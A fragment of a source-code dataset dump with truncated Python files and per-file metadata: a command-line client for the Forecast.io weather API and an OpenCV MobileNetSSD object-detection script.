author: Jonathan Tsai <hello@jontsai.com>
Python interface to Forecast API
Usage:
python forecast.py LATITUDE LONGITUDE
python forecast.py -t TIMESTAMP LATITUDE LONGITUDE
Examples:
$ python forecast.py 37.8267 -122.423
"""
FORECAST_URL = 'https://api.forecast.io/forecast/%(api_key)s/%(l... | 24.770115 | 111 | 0.567053 | """
forecast.py
author: Jonathan Tsai <hello@jontsai.com>
Python interface to Forecast API
Usage:
python forecast.py LATITUDE LONGITUDE
python forecast.py -t TIMESTAMP LATITUDE LONGITUDE
Examples:
$ python forecast.py 37.8267 -122.423
"""
import getopt
import json
import requests
import os
import sys
i... | 0 | 0 | 0 | 54 | 0 | 1,423 | 0 | -43 | 225 |
7e38871b7469a11abc5f5de647a02a97bb2f4d92 | 2,686 | py | Python | detect_shape/deep.py | sprenge/concierge | 3cd8ff33a0cb0d3cd79de914fbaf4e32d277ea40 | [
"MIT"
] | 2 | 2021-01-29T23:45:22.000Z | 2021-07-29T04:29:29.000Z | detect_shape/deep.py | sprenge/concierge | 3cd8ff33a0cb0d3cd79de914fbaf4e32d277ea40 | [
"MIT"
] | null | null | null | detect_shape/deep.py | sprenge/concierge | 3cd8ff33a0cb0d3cd79de914fbaf4e32d277ea40 | [
"MIT"
] | null | null | null | import time
import numpy as np
import cv2
pt = './pi-object-detection/MobileNetSSD_deploy.prototxt.txt'
ca = './pi-object-detection/MobileNetSSD_deploy.caffemodel'
CLASSES = ["background", "aeroplane", "bicycle", "bird", "boat",
"bottle", "bus", "car", "cat", "chair", "cow", "diningtable",
"dog", "horse", "motorbik... | 36.794521 | 101 | 0.61653 | import time
import numpy as np
import argparse
import cv2
pt = './pi-object-detection/MobileNetSSD_deploy.prototxt.txt'
ca = './pi-object-detection/MobileNetSSD_deploy.caffemodel'
CLASSES = ["background", "aeroplane", "bicycle", "bird", "boat",
"bottle", "bus", "car", "cat", "chair", "cow", "diningtable",
"dog", "h... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | -6 | 22 |